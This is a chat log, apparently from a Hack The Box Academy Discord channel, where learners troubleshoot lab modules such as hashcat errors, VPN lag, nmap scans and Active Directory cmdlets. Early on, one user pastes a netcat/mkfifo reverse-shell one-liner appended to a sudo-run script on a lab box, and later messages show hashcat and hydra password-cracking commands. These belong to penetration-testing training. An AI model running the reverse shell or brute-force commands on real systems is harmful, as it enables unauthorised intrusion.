#modules

1 messages ยท Page 193 of 1

novel finch
#

Yeah

#

Two minutes, I'm close to setting it up again

#

I don't need to do LinEnum every time do I?

#

It doesn't do anything except advise what's available

fathom pendant
#

No, you don't need to do linenum each time

novel finch
#

nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.223 4321 >/tmp/f' | tee -a monitor.sh
< /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.223 4321 >/tmp/f' | tee -a monitor.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.223 4321 >/tmp/f
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo monitor.sh
sudo monitor.sh
[sudo] password for nibbler:

#

๐Ÿ˜ญ

fathom pendant
#

Bro

topaz holly
#

Hey, what's linenum? Is that an nmap NSE script or is it a bash script? I use linpeas

faint rampart
novel finch
#

Aaah okay

fathom pendant
topaz holly
#

Which is better? Is one used more than the other?

fathom pendant
#

Neither is better than the other

topaz holly
#

Alright. I'll keep using linpeas then ๐Ÿ™‚

fathom pendant
#

They both can spit out a bunch of random stuff that's rabbit holes

novel finch
#

IT WORKED ๐Ÿ˜ญ ๐Ÿ˜ญ ๐Ÿ˜ญ

topaz holly
#

I still like to drop it using my python http server if I can. I remember when the module used to be called SimpleHTTPServer. The first time I tried it after the update I was confused why I couldn't start a server!

#

It's http.server now ๐Ÿ™‚

novel finch
#

i'VE BEEN STUCK FOR A WEEK

topaz holly
#

Yeah bro! Check them paths next time congrats.

faint rampart
novel finch
#

I swear it wasn't doing it before

novel finch
topaz holly
novel finch
#

oooooh

#

So if I want a complete file path I can use locate?

topaz holly
#

To find the file path quickly

novel finch
#

and pwd if I'm already there?

fathom pendant
topaz holly
#

You can also use it to find wordlists. For instance, you could do the following.
locate wordlist| grep pass
To find only password wordlists that mention wordlist and password in the file name.
Or more specifically:
locate ftp| grep pass
To look for an ftp password wordlist.

#

Eh, when available I'll use the cp command to copy a random file to my current directory and then use the file server there. I do that with linpeas rather than opening the server in the linpeas directory.

#

I don't do that with bins though.

novel finch
novel finch
fathom pendant
#

Grep just finds a string in something

topaz holly
#

Grep is simple, and super useful! What it does is cut down output and only displays lines which contain your search string!

#

Cat and grep are bff's. Especially when you pass the output of cmds into a text file.

fathom pendant
#

You don't need to cat to grep btw

#

You can grep string wordlist.txt

topaz holly
#

Yo??? ๐Ÿ˜‚

#

How did I never know this.

rustic sage
#

Hi Guys, Im working my way through the SOC pathway before I take the exam in a few months time, I understand HTB is going through some issues with the target boxes atm but ive been a Silver member for over a two months now and in all that time the target boxes are completely sluggish and unreliable, my question is, it is always like this or did I just join at a bad time?

fathom pendant
#

Just joined at a bad time

#

Also in-general use the tcp download

rustic sage
dry pumice
#

any idea when it will be fix ? I haven't found any communication on the issue except for the yellow thing on the site

topaz holly
#

People have been complaining in here for weeks. Seems like it's just an issue with their providers. Not their fault but I'm sure it will be mitigated soon

rustic sage
#

thanks @fathom pendant I just dont want to do all the modules and then have to do an exam on a slow box

topaz holly
#

Watching the news rn saying Chinese hackers are about to "wreak havok" on us ๐Ÿ˜ฎ crazy they're finally talking about such issues.

#

(US),

next bronze
fathom pendant
#

At least for the pwnbox

#

The vpn servers are only us and eu

rustic sage
#

Yeah the closest to me is the UK server but still the same lag or RDP failure connecting to the pwnbox

next bronze
#

use a tcp vpn

dry pumice
#

same for the lag, can't do the module on windows command line skill assessment

fathom pendant
rustic sage
fathom pendant
#

If so: don't use download/run the vpn pack

rustic sage
fathom pendant
#

It will cause issues

#

The vpn pack is ONLY for use in your own vm

#

Running both the vpn and pwnbox will cause issues

rustic sage
dry pumice
#

does the lag the same on pwnbox and vpn+vm ?

fathom pendant
dry pumice
#

maybe i'll try that thanks

fathom pendant
#

But also tcp download is 1000x better than the udp

rustic sage
#

Im stuck now until the issues is fixed, impossible to do log analysis on a Windows box with the lag, fingers crossed they get the issue sorted

topaz holly
#

UDP so unreliable ๐Ÿ™‚ don't use it if you don't have to!

dry pumice
#

yep the windows one are the worst

#

can't write a whole command before the thing crash

rustic sage
topaz holly
#

Gotta hack faster man

dry pumice
#

and now I can't log on user5, don't know why

novel finch
#

I'm so relieved to be moving forward ๐Ÿ˜ข

topaz holly
#

Glad

fathom pendant
rustic sage
#

Does the integrated terminal ever work for anybody?

exotic dagger
#

I'm doing a service scan on a single port using nmap and for some reason it's taking forever (and also not giving any actual service information...)

brittle silo
#

tomcat ajp

vague token
exotic dagger
#

I've tried resetting the instance, was having the issue yesterday too but thought it might've been down to server issues

#

gonna try getting a new VPN key

vague token
#

Yeah it could aslo be that, you on Pwnbox or your own machine?

exotic dagger
#

Own machine

vague token
#

A new key is a good idea, also make sure you get a TCP one

hot grove
#

^^

exotic dagger
#

Well that helped with the speed but now the port says Filtered when it absolutely shouldn't for this box.
Guess I'll check firewall

vague token
#

Nice, what module you on by the way?

wheat sinew
#

I don't get what I'm supposed to enter as a flag.

#

I've tried the users, the passwords, the injection itself, etc

exotic dagger
#

Which I think is what nmap returns when it can tell a port is open and guesses it based on the standard usage of said port.

wheat sinew
#

Nvm

exotic dagger
#

Well pinging it shows a very uhhh...
Unstable connection

vague token
exotic dagger
#

Task 2, what community-developed MySQL is the target running

vague token
#

Ok and what command are you running?

exotic dagger
#

Just doing 'nmap -sV -p3306' atm.
And the scan takes forever and just returns either "filtered" or "open and mysql?"

#

I can finding it using mysql -V {ip}

#

but I wanna know why nmap being fucky

vague token
#

Lemme try and spin it up quick

vague token
exotic dagger
#

Weird, I can work around it at least, I think.

vague token
ruby whale
#

I am not able to use hascat on my local VM due error * Device #1: Not enough allocatable device memory for this attack. Tried using pwnbox, but alas ๐Ÿ˜ฆ .

next bronze
#

don't use hashcat in a vm, run it in your host

topaz holly
#

For realsies? I've had trouble with it on pwnbox before too.

#

I wish to have a rainbow tables on a big ass external SSD one day. Shit I probably could get a decent one going rn.

next bronze
#

hashcat is designed to use gpus, it can't get gpu access in a vm, so it will fallback to using cpu

ruby whale
topaz holly
next bronze
#

pwnbox is a vm

topaz holly
#

Yeah figured I wasn't sure if it was perhaps using the cloud with access to a GPU.

next bronze
topaz holly
#

Talking about using it from the browser not using the image locally.

next bronze
#

yeah the cloud instance is also a vm

topaz holly
#

Okay ๐Ÿ‘ cause with another service of which I'm using the cloud I get access to a GPU. I was wondering if pwnbox cloud instance allowed that to wonder if the situation was diff with spawning or running the VM.

However it would work if you weren't using a VM and just booted into pwnbox!

#

Which, am I weird for doing that? I generally don't make VMs for things like pwnbox. I'll just throw it on a USB and boot from it.

#

I just don't like VMs very much ๐Ÿคทโ€โ™€๏ธ

next bronze
#

then the whole OS will be bottlenecked by the USB speed

topaz holly
#

True, but some drives have decent rw speeds. I have some good quality drives with OS on them that run well. You could also use an SSD too and get even better speeds.

#

The USB boot still utilizes the computers hardware. The only bottleneck is rw speeds really. It's not that big of a deal.

paper gust
topaz holly
#

Haha I guess you're right. That thought is stuck from the past ๐Ÿ˜‚.
What's the best practice now, just use hashcat?

paper gust
#

yeah pretty much

next bronze
#

it's the man himself peepoWave

paper gust
#

๐Ÿ™‚

topaz holly
#

Haha I just read the about me or whatever it's called here.
Well chicken man, good work ๐Ÿ˜‚.

paper gust
#

haha

#

i have good timing on hashcat related issues apparently

topaz holly
#

It's like Beetlejuice

#

Someone mentions a problem with hashcat 3 times, the chicken man appears!

paper gust
topaz holly
#

Good on you though, good dev.

ruby whale
#

I am having hard time in Password attack module , F:\HTB CPTS\hashcat-6.2.6>hashcat.exe --force Password-Attacks\password.list -r Password-Attacks\custom.rule --stdout > mut.txt cant create mutated list. Can I dm someone for this module?

next bronze
hallow kiln
#

Chick3nman about to say for the 9827261th time not to use --force

paper gust
#

hahaha

ruby whale
#

I will just search every hashcat msg on the channel

paper gust
#

that looks like two failures to do the same thing

#

pwnbox resources change or something?

#

or both being done in local vms maybe?

paper gust
#

that really shouldn't be a heavy process, minimum allocation is tiny

#

well, relatively tiny, somewhere north of 256mb per device

ruby whale
#

I see everyone had hard time with this module

paper gust
#

yeah, it's been an ongoing thing

fathom pendant
#

Most of the issues people have is impatience

paper gust
#

trying to run heavy tools in extremely resource constrained environments doesn't play out so well

topaz holly
# ruby whale I see everyone had hard time with this module

The problem I pointed out I was having is I wasn't sure if I should be using a more refined wordlist or not.

I wasn't sure if I should wait a while or use a different wordlist that might get it in the first few minutes. Just a matter of efficiency moving through the modules I was upset at.

#

And to be honest, what did I learn there? You just have to find the wordlist closest to what you're looking to do.

The password is probably in rockyou, yeah. But do you want to wait that long?

paper gust
#

to be fair, that sets up some very unrealistic expectations and precedent for real world usage

topaz holly
#

I don't even remember which wordlist that happened to be.

fathom pendant
#

You reposting isn't gonna get it answered faster

ruby whale
topaz holly
fathom pendant
#

"Still couldn't create" is vague

topaz holly
#

Lmk what you think.

fathom pendant
#

Is the server linux

paper gust
#

the unrealistic part is the precedent set by the sizing and times

#

a clean copy of rockyou has like 14.3 million lines in it, of which the vast majority are acceptable for most attacks and will get processed

fathom pendant
paper gust
#

that sounds big when you have a CPU on a VM

#

but that's incredibly tiny in the real world

fathom pendant
#

Its likely that it's erroring out due to not finding the dll for your gpu

#

Since you have it on an external drive

#

I've rarely had hashcat issues in my vm, but I think I'm running like an i7 or something

paper gust
#

yeah, it's almost certainly going to be related to the minimum memory allocations against the exposed device

#

1gb of RAM for the VM is too small ๐Ÿ™‚

topaz holly
#

Alright. So pretty much why not try with rockyou? It's just more viable when you're able to get the max processing of the seemingly large file in the real world than it is in these scenarios?

paper gust
topaz holly
#

Thanks for the insight :p

fathom pendant
paper gust
#

it's very useful for CTFs because everyone uses it as a source

topaz holly
#

Yeah I know of a few others, upwards of 20GB

paper gust
#

but in the real world, it's pretty useless

#

bigger != better, to be clear

topaz holly
#

It's been a while so my memory on the names are a little fuzzy.

paper gust
#

at least, in terms of wordlists

fathom pendant
topaz holly
#

Like a dark list or some shit

paper gust
#

I think thats useful for keeping the modules "doable"

ruby whale
paper gust
#

but it sets some interesting expectations for users who miss that it's unrealistic

topaz holly
#

Yeah. imo a good password dictionary would be one that contains passwords gathered from similar environments. I imagine these wordlists tailored specifically for enterprise or industrial. Wordlists confusing those heavily would be best to use when attacking the accompanying type of environment.

paper gust
#

it's both "large and too slow" and "far too small" at the same time

topaz holly
#

Potentially from leaks or industry standards such as dictionaries generated to current policies.

paper gust
fathom pendant
paper gust
#

because good attacks probably shouldn't rely solely on the dictionary

fathom pendant
#

Mask attacks go brrrr

paper gust
#

rules and other forms of mutation/construction are significantly more important and the dictionary you use should be tuned to work with your rules, not necessarily tuned to work on its own

topaz holly
#

True that. As I mentioned earlier there's other routes that you don't necessarily need a dictionary for, like phishing. Or MiTM.

paper gust
#

the lack of GPU or other specialized hardware in labs leads to a huge blind spot in the learning around how to actually utilize available hardware resources

topaz holly
fathom pendant
#

It sure does

paper gust
#

it's important to understand that GPUs are not just big fancy CPUs

#

and you need to make a concious effort to actually use them to their full potential

#

just running a wordlist will cap your speed at tiny fractions of what your hardware may actually be capable of

ruby whale
topaz holly
fathom pendant
#

Yea I believe you need to put -m 0 or something

paper gust
#

--stdout should negate the need to specify a mode

topaz holly
paper gust
median kestrel
#

Question: If one of the module's targets NEVER spawn (it's been 1+ week now) and I can't complete the final skills assessment due to this damn thing being stuck at "spawning." where do I open a ticket with support to fix their VM? This is beyond the issue that affected everyone yesterday. This Windows VM target has been broken for over a week. Prior to that, when it was working for the 2 days I could use it, it was taking 30-60 minutes to spawn.

paper gust
#

the hashcat wiki has some of this and there are scattered training materials and resources from third parties, like what you've found in here

fathom pendant
#

If you don't see it: disable adblock

median kestrel
#

Thank you

paper gust
ruby whale
topaz holly
fathom pendant
# median kestrel Thank you

They've been having issues with upstream providers recently, so don't expect more than a "we're working on it"

paper gust
topaz holly
paper gust
#

Agreed

#

information sharing is vital to keeping people aware of what is both possible and also what they should be doing

#

running rockyou and calling it good is not the standard of quality that pentesters and red teamers and such should be throwing at engagements imo

#

but everyone has their own opinions on that stuff ๐Ÿ™‚

topaz holly
paper gust
#

Yeah, and that's often the argument a lot of people make for why they don't dig deeper on this stuff

#

you need to know 5000 other tools, why dig into hashcat or similar beyond the quick and easy stuff

topaz holly
paper gust
#

haha, if i had a nickle for every time I saw wildly out of date security practices where the information on how to do it better has been available for 2+ decades

topaz holly
ruby whale
#

chick3nman Can I dm you?

topaz holly
#

Yeah, some devs just don't care. How many vulnerable sites are there out there? Vulnerability in your plugin? Well you could update! But nah.

paper gust
#

we have probably strayed a bit off topic for this channel so might be good to get back to module talk

paper gust
#

either one works, might be good for others if they have the same question you do

topaz holly
#

And I think some corps just deploy shit tons of infrastructure and then forget about some of it in all of the chaos.

topaz holly
#

Agreed sorry lol thanks for the insight though buddy. I don't get to talk to many people about such a subject ๐Ÿ™‚

ruby whale
paper gust
topaz holly
next bronze
#

how does the caching for hashcat actually work? it builds a new cache for every wordlist, but the cache is not loaded into the memory

paper gust
#

oh, dict caching?

next bronze
#

yeah

paper gust
#

that's... perhaps poor terminology, its only caching statistical information, not chunks of the dict itself

fathom pendant
#

Perhaps your jsp is just wrong

dreamy solar
next bronze
paper gust
#

though other things are often the bottleneck if you're pulling from a semi-modern SSD

next bronze
#

I see

ruby whale
# paper gust sure, or ask here

Module - Password Attacks
Section - Password Mutations
Trying command hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list to generate mutated list
Tried above command without --force on windows machine using hashcat.exe on both cmd and powershell
F:\HTB CPTS\hashcat-6.2.6>hashcat.exe password.txt -r custom.rule --stdout - got no output
withou --stdout its asking to specify a mode.

paper gust
#

what does hashcat.exe -I report?

ruby whale
#

It gives CPU GPU info

paper gust
#

ahh

ruby whale
#

I think not its fetched from htb

#

Oh is it because CUDA SDK Toolkit not installed or incorrectly installed ๐Ÿ˜ฆ

paper gust
#

try hashcat.exe -a 0 password.txt -r custom.rule --stdout -D 2 -d 1

paper gust
paper gust
#

ahh yeah ok

ruby whale
#

-a 0 is the attack mode -d backend device -D opencl-device-types ( incase anyone stumbles upon this)

novel finch
#

All labs are down?

paper gust
#

this is unfortunately not uncommon and can be difficult to diagnose

#

bypassing the problematic runtime/device and selecting a "known good" device like the Nvidia card obviously works

#

but it sucks that the state of the iGPU/CPU runtimes is so inconsistent

next bronze
#

does hashcat try to use both at the same time?

paper gust
#

in --stdout mode, we actually only barely need a runtime at all

#

we choose first available, defaulting to CPU if possible

#

if no CPU device is present, we will default to GPU

ruby whale
paper gust
#

at which point, it will try to use both

#

-D 2 was to tell it that it's ok to use GPUs, hashcat's default behavior with --stdout is to try and use CPUs first, so if a CPU device was present, it would have behaved as if you had set -D 1 instead

#

if no CPU device is present, -D is unnecessary

#

and -d 1 would have been enough, just selecting the known good device

ruby whale
#

Thanks chick3nman , I don't think I could have resolved this issue without your help.

paper gust
#

no worries, it's certainly a hard one to spot

random burrow
#

I am new and trying to work through the first lab. i use sudo nmap -sV {IP address} to find the port i want to use but it does not give me a port number like it hsould it just says 1000scanned ports on ip address are in ignored states

next bronze
paper gust
#

yes, typically

#

we can't really tell the difference between devices

#

the runtimes will report iGPUs the same as dedicated GPUs

paper gust
#

some logic to skip iGPUs if possible is something I've been considering for a while

#

but it's kinda tough and imprecise

ruby whale
paper gust
#

it can

#

at the end of the day, it's still 14 or so million real passwords, so it's definitely possible to use it to crack stuff

#

but its also from 2009, and it's only 14 million passwords

#

somewhat similar to running a list like "top 1 million password" or something of that sort

#

yes, you can use that to crack stuff, but it's not going to crack anything but the easiest/simplest passwords

random burrow
ruby whale
paper gust
#

online attacks and spraying and such really hasn't changed all that much, aside from some more rate limiting and mitigations at play

#

but offline attacks have changed a LOT

#

we have single GPUs capable of hundreds of billions of guesses per second and on the flip side, extremely secure algorithms that can reduce those cards to 1 guess per second

#

that's not to say one is any more important than the other, especially for learning

#

but they are pretty different from eachother

exotic dagger
oblique spoke
#

Eyooo emergenci maintenance? What hallened someone fucked up.the bgp config?

hollow furnace
#

I havnt been able to reach any of the hosts all day, on both Academy and HTB

languid fjord
exotic dagger
#

I switched to the VIP VPN, it helped a bit

hollow furnace
#

I did too, I swicthed to US Vip but didnt help

#

Tried variations of both the EU and US ones

hollow furnace
languid fjord
#

which email?

hollow furnace
#

I have also messaged in the chat bubble

languid fjord
#

Alright, then please wait for a response

#

You only need to do one

hollow furnace
#

Not much else i can do

oblique spoke
#

Now its working again

#

I have a question about attacking common applications-attacking gitlab. Borh of the suggested tool for user enumerations doesnt work in pwnbox is there any suggestion how to move forward?

novel rover
#

Does everyone have problems with targets?

hollow furnace
fluid basin
#

Things for the most part are up and running for me, RDP has been uncooperative as I just get a black screen. I am happy that I can perform most of the exercises now tho

hallow kiln
fluid basin
#

Oh im all set then. thx

west rampart
#

I got pinged

bold compass
#

Hey can someone help me or do with me command injection the Skills Assessment part?

thorn urchin
west rampart
#

ah great

#

thanks

lusty thicket
#

the username was case sensitive btw

heady osprey
#

Guys, can someone help troubleshoot bloodhound?
I can't seem to upload data and I keep seeing in the console: "The client is unauthorized due to authentication failure".
Tried deleting the databases and restarting. Dunno what's going on here because I managed to authetnicate with the credentials I created.

EDIT:: Managed to solve it. For anyone facing the problem of bloodhound being stuck at 0%, the app simply doesn't have a way to tell you the data is incompatible. SharpHound 2.x is only compatible with Bloodhound 5.x.
Source here: https://github.com/BloodHoundAD/BloodHound/issues/700

potent ermine
#

Hi everyone, I'm on the Digital Forensics module - Practical section. Any ideas on how I can decode this? I tried getting everything in-between the double quotes and decoding that using base64 -d, but I'm getting gibberish

tranquil axle
chilly cosmos
#

Where can igo for the vpn issues for hackthebox machines

thorn urchin
#

you contact support and then wait

#

keeping in mind the wait can be loooong

chilly cosmos
#

Ok

winter arrow
#

the php web shell part is broken followed the entire process from start to finish then its 404

woven copper
# bold compass Hint?

search here, there are a lot of discussion about that module ,really just Use the search bar in Discord

bold compass
#

I also canโ€™t figure out where to insert payload into to or from

eager ruin
#

Hello

#

I have put all 3 and still

#

What is the latest Python version that is installed on the target?

native turtle
#

Does anyone have issues with pivoting skills assessment? it's so slow I can't interact with the RDP session it's so laggy

eager ruin
woven copper
# bold compass I also canโ€™t figure out where to insert payload into to or from

Dude, if this is the case, you may want to review all the content again. Most people ask here once they've found the injection point and are having issues with their payloads. But if your problem is that you haven't identified where the flaw is, the best thing for you would be to go back and re-read the material, as it's a significant skill issue.

fathom pendant
eager ruin
fathom pendant
#

which python

eager ruin
#

I get nothing

fading ridge
eager ruin
#

I have put everything right but still

fathom pendant
#

which python3 and see if that gives you anything

fading ridge
#

Which question?

fathom pendant
#

Also one of those looks correct

#

Make sure you don't have any weird spaces before or after

eager ruin
fathom pendant
#

Module/Section?

eager ruin
fading ridge
#

This means you had the answer in front of you

fathom pendant
#

^

#

Is it expecting it without the python, just version?

#

Or with

potent ermine
fading ridge
#

Just the version

fathom pendant
#

Oh

eager ruin
fading ridge
eager ruin
#

but still

fathom pendant
#

Oh it doesn't need the sub version?

eager ruin
fathom pendant
#

ยฏ_(ใƒ„)_/ยฏ

#

Refresh the page and try submitting it again

#

Sometimes it's that dumb

eager ruin
#

It is really something easy but the format in which you want to apply it is strange.

fathom pendant
#

Not really

#

3.11.3 or w/e

tranquil axle
eager ruin
eager ruin
fathom pendant
#

Try just 3.11?

eager ruin
fathom pendant
#

I think default python location is in /usr/bin/

eager ruin
#

DAMN

fathom pendant
#

Dude chill

eager ruin
#

thanks broth

fathom pendant
#

I'm trying to check all bases

eager ruin
#

Incredible how you get frustrated in these details HAHA

thorn urchin
#

which module and section is this

eager ruin
thorn urchin
#

why are you ?? me

thorn urchin
#

Im asking a question

fathom pendant
#

Have fun

thorn urchin
#

Nah not helping, I asked a basic question and got hit with ?? nvm

fathom pendant
thorn urchin
#

I was gunna open it up and verify the answer format

eager ruin
eager ruin
eager ruin
thorn urchin
#

I just guessed it before the target spawned lul

fathom pendant
#

Wouldn't python3 -V show?

eager ruin
eager ruin
red spruce
#

Hello, I'm currently doing the practical Digital Forensics Scenario, and I've been stuck on this question for two days now.
Investigate the USN Journal located at "C:\Users\johndoe\Desktop\kapefiles\ntfs\%5C%5C.%5CC%3A\$Extend\$UsnJrnl%3A$J" to determine how "advanced_ip_scanner.exe" was introduced to the compromised system. Enter the name of the associated process as your answer. Answer format: _.exe

Can someone please give me some clue so I can figure it out? Currently, I've tried using the TimelineExplorer, and traced the .zip file, but still haven't found anything.

jade shoal
#

Local Testing - Validation Logic Disparity
Doing the Logic Bugs, specifically the Local Testing section - and it states that I have to book an exam in the future which was not available -- I've done so, but not sure where I should see the flag

potent ermine
jade shoal
tranquil axle
dull moth
#

im working on Information Gathering - Web Edition - Virtual Hosts and im tryuing to fuzz the target, could please some one tell me whats wrong with my command:
cat /usr/share/SecLists/Discovery/DNS/namelist.txt | while read vhost;do echo "\n********\nFUZZING: ${vhost}\n********";curl -s -I http://10.129.190.240 -H "HOST: ${vhost}.inlanefreight.htb" | grep "Content-Length: 120 ";done

tranquil axle
dire abyss
#

is there any recommended user list and/or pw list for cracking winrm?

fathom pendant
#

whatever lists the module provides

thin parrot
#

Anybody able to explain this monstrosity of a question?
How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only)

dire abyss
#

under resources there is a file(?) called pw-attacks, i guess that works for pw part but what about users? theres no mention but a specific list, just trying to remain effeciant

potent ermine
tranquil axle
#

I mean maybe you are

#

It just appears harders to figure out than other tasks

#

Maybe Iโ€™ll get back to that question tomorrow and redo it and see how itโ€™s supposed to be done. Iโ€™ve seen the question pop up a few times now

fathom pendant
#

hey sorry to bug you; but were you able to get sqlplus installed on your parrot? if you're still having issues mind dming me regarding it? gonna pass it off to the parrot guys to see if it's been resolved; I just checked pwnbox and the packages referenced by the install script do exist there

upbeat thicket
#

hello everyone
is it okay for me to struggle with the linux CLI and have to google every single command?
I just finished the academy lesson for linux fundamentals but I still struggle.
is it okay to continue with other modules or should I do something else?

fathom pendant
#

using nothing but your imagination and basic bash commands

dull moth
#

@fathom pendant , a question...
"Information Gathering-Web Edition" I'm examining the Content-Length header to look for any differences. so i found a pattern "ex:.Content-Length: 10918. my question is: There's any command to show only numbers different than 10918?

fathom pendant
#

if using like ffuf

dull moth
#

thank you so much

fathom pendant
#

ffuf has -{f/m}n
f is the filter out
m is the match

marble raft
#

For future reference, in the Introduction to Bash Scripting module it's highly recommended to pay close attention to the examples given throughout the module specially because in the Flow Control - Loops section the way the length is calculated affects the value you need, since it's used as a salt in decrypting the flag.

Also, remember that

echo $var | wc -c
echo ${#var}
printf "%q" "$var" | wc -c

Are not the same and they will output three different results, and it's important to know why.
Do not follow ChatGPT or StackOverflow suggestions on how to count the length of a variable in bash, in this specific case, all the knowledge you need is in the module.

Remember, bash is like a hammer and everything is a nail, but fail to understand why and how the code works and the only thing you'll be hitting is your thumb.

frosty spade
#

hey folks on active directory enumeration and attacks rdpd into the windows box trying to run the Get-NetLocalGroupMember cmdlet but it says its not there not the first cmdlet not found error in the module anyone know if this is normal and what the workaround is

fathom pendant
#

import-module ActiveDirectory

#

import-module C:\tools\powerview.ps1

frosty spade
#

so its apart of powerview thought it was a builtin windows cmdlet

fathom pendant
#

might be part of ActiveDirectory

#

but you still need to import it

#

you can call import-module ActiveDirectory from anywhere

frosty spade
#

active directory import didnt work but powerview did strange since its listed as included by microsoft

next bronze
#

for newer windows server you might need to use RSAT

fathom pendant
frosty spade
#

i ran cmdlet after import it errored out saying cmdlet not found

fathom pendant
#

cmdlet isn't a command

#

lol

#
Cmdlets are native PowerShell commands, not stand-alone executables. Cmdlets are collected into PowerShell modules that can be loaded on demand. Cmdlets can be written in any compiled . NET language or in the PowerShell scripting language itself.
frosty spade
#

PS C:\Tools\ADRecon> import-module ActiveDirectory
PS C:\Tools\ADRecon> Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"
Get-NetLocalGroupMember : The term 'Get-NetLocalGroupMember' is not recognized as the
name of a cmdlet, function, script file, or operable program. Check the spelling of
the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1

fathom pendant
#

huh

#

guess it isn't part of AD

#

who knew ยฏ_(ใƒ„)_/ยฏ

rustic sage
#

why arent there any general chats anymore?

fathom pendant
#

There's always been a gen chat, you just need to link your account to see it

rustic sage
#

ah

#

also sanity check please for monitored dont wanna give the possible answer here but someone lmk if I can dm so I can show what im doing because ive been at this sql injection part for more than an hour and I know what I am doing is correct with that parameters that I am specifying I have a slight feeling this box is trolling me and deciding not to work

acoustic owl
late wasp
#

ok

cobalt trench
#

On the footprinting medium lab do we need to set up a pivot to the network found?

fathom pendant
#

nope

#

pivoting is not required for footprinting

cobalt trench
#

I know I'm supposed to ||RDP into the machine|| but it's not working. I can't even ||ping the IP that I found.||

fathom pendant
#

wdym ip that you found?

#

you only need access to the IP given

#

:) rdp to the IP given

cobalt trench
#

Tried that to but it doesnt work

fathom pendant
#

what's the first letter of the user you're trying

cobalt trench
#

a

fathom pendant
#

also wdym it doesn't work

#

if you're using xfreerdp you may need to wrap the password in single quotes

cobalt trench
fathom pendant
#

that's weird that it's asking about TGT

weak fractal
#

Hi , I wanna ask a question in Windows Event Logs & Finding Evil Skills Assessment ,The question is:
' By examining the logs located in the "C:\Logs\DLLHijack" directory, determine the process responsible for executing a DLL hijacking attack' (.exe file)

Now, I will briefly explain what my approach is. I have:

  1. Opened the folder in the 'Logs' directory, then the .evtx file
  2. Filter the log by event ID 7
    (I have already modified the sysmonconfig-export.xml to ensure that nothing is excluded)

Unfortunately, I can't find any useful information.
Can you please give me a hand?

fathom pendant
cobalt trench
short hare
#

Stuck on
Attacking Common Applicaions: Attacking Applications Connecting to Services
Question: What credentials were found for the local database instance while debugging the octopus_checker binary?

Done gdb ./octopus_checker
and then set the breakpoint at the following as below
0x0000000000001607 <+433>: call 0x11b0 <SQLDriverConnect@plt>
gdb-peda$ b *0x11b0

When I hit enter it say cannot set breakpoint at 0x11b0 access denied

What I am doing wrong?

fathom pendant
cobalt trench
severe eagle
#

hey any completed the intro to assembly langauge I am stuck on Procedures unsure which stack to grab or how to grab it i have been running the file.s making break points and tried running with c for continue then tried si and ni but having issues what stack i am suppose to be grabbing or how to grab it?? thank you

#

anybody

fathom pendant
#

but after that it's shrimple

cobalt trench
#

ahh good ole password reuse

fathom pendant
#

||I ended up relogging with that password||

cobalt trench
#

lol

fathom pendant
#

btw you can find that file without touching SMB

cobalt trench
#

How?

fathom pendant
#

well, you're rdp in

#

you have access to all the files and shares that he has access to

cobalt trench
#

Oh yea thats how I found it

#

I thought you meant something else nvm

fathom pendant
#

i just meant smbclient

cobalt trench
#

ooh gotcha

fathom pendant
#

which allows you to get the file

#

the hard lab trips the most people up imo

#

and tbh: the only thing that tripped you up was rdp being dumb

cobalt trench
#

This one got me at first but once it clicked I started to make steady progress

fathom pendant
#

yeah; GUI for mssql SUCKS

cobalt trench
fathom pendant
#

but if you don't know any mssql query commands

#

yeah that's just odd

topaz holly
#

Yeah it was kinda awkward to execute a search from the GUI.

cobalt trench
#

I'm so close yet so far

fathom pendant
cobalt trench
#

wow I am an idiot

#

Finally got it

#

Right infront of my face

fathom pendant
#

yep

#

it's easy to look right over

#

i will say for the hard one: read the engagement carefully and figure out which service may be available through that

cobalt trench
#

Ok so I thought I had it but I hit another wal

#

wall*

#

Im using the credentials of the "important" user but with the correct username. (if you catch my drift)

fathom pendant
#

?

#

what are you trying to do?

#

if you're trying to auth with mssqlclient.py then you're gonna be 1: SOL because it's only internal

cobalt trench
#

login to the server so I can search for the flag easier

fathom pendant
#

you can run SQLCMD from an rdp session

#

but yeah you're not gonna be able to externally connect to it

#

also: the GUI does have a way for you to get a query

cobalt trench
fathom pendant
#

i mean the windows command line

cobalt trench
fathom pendant
#

sqlcmd

#

but also right clicking and just overall clicking around can help you figure it out

#

:P don't be afraid to just click around and find out

#

literally a button in the GUI ribbon "new query"

cobalt trench
#

Learned how to make sqlcmd work

#

That was a fun lab

fathom pendant
#

yep

#

Hard lab is SUPER straightforward once you find the foothold

short hare
fathom pendant
#

it's gonna be different per machine

#

and per run instance

#

different bits of memory addresses will be free differently

short hare
fathom pendant
#

you should determine where the breakpoint should be based off of where gdb prints things

#

i'd think the module tells you how to do so

#

but ig not

#

literally right under where you have question marked: Cannot access memory at address 0x11b0

vivid igloo
#

hey is something wrong with the target instance
it's literally in loop of Target is spawning... from past 20 mins

#

changed the section twice and all are responding in the same manner

dire abyss
#

the PW mutations module... its taking AGES to crack the pw

rustic sage
#

the module alone had me cursing a lot lol

dire abyss
#

i wonder if this is something i'll do during CPTS exam, that would suck lol

rustic sage
#

probably, best be prepared for the worst!

dire abyss
#

crap.. lol your probably right.. its still going too. 6247 tries in 1:03h

rustic sage
#

that's too long

#

something you are doing is not right.

dire abyss
#

ok lets see, i got the zip file from resources like it asked. next created a mutated pw list using hashcat like so: "hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list"

#

then i used hydra to brute force like this: "hydra -L sam.list -P mut_password.list ssh://<target>"

#

i might have goofed on "sam.list" its a file only containing the name "sam" .. I couldnt use just do "-L sam" said it was missing a file

civic zenith
#

@dire abyss with hashcat you need to specify a mode.

#

also in the future maybe you shouldn't use options like --force because it hides the error info from you. Much of the time it is good to see what is causing an error.

paper gust
dire abyss
#

good to know.. by mode do you mean rule?

paper gust
#

it's because you are attacking the wrong service

civic zenith
#

no I mean Hash-Mode

dire abyss
#

the question in the module specifically ask to for SSH

paper gust
paper gust
#

there's one that comes up in here quite often that has FTP or something else exposed that's much faster to attack

rustic sage
#

ssh resets don't happen as fast as ftp

dire abyss
#

let me try FTP

rustic sage
#

Also i think -T 100 makes it use 100 threads

dire abyss
#

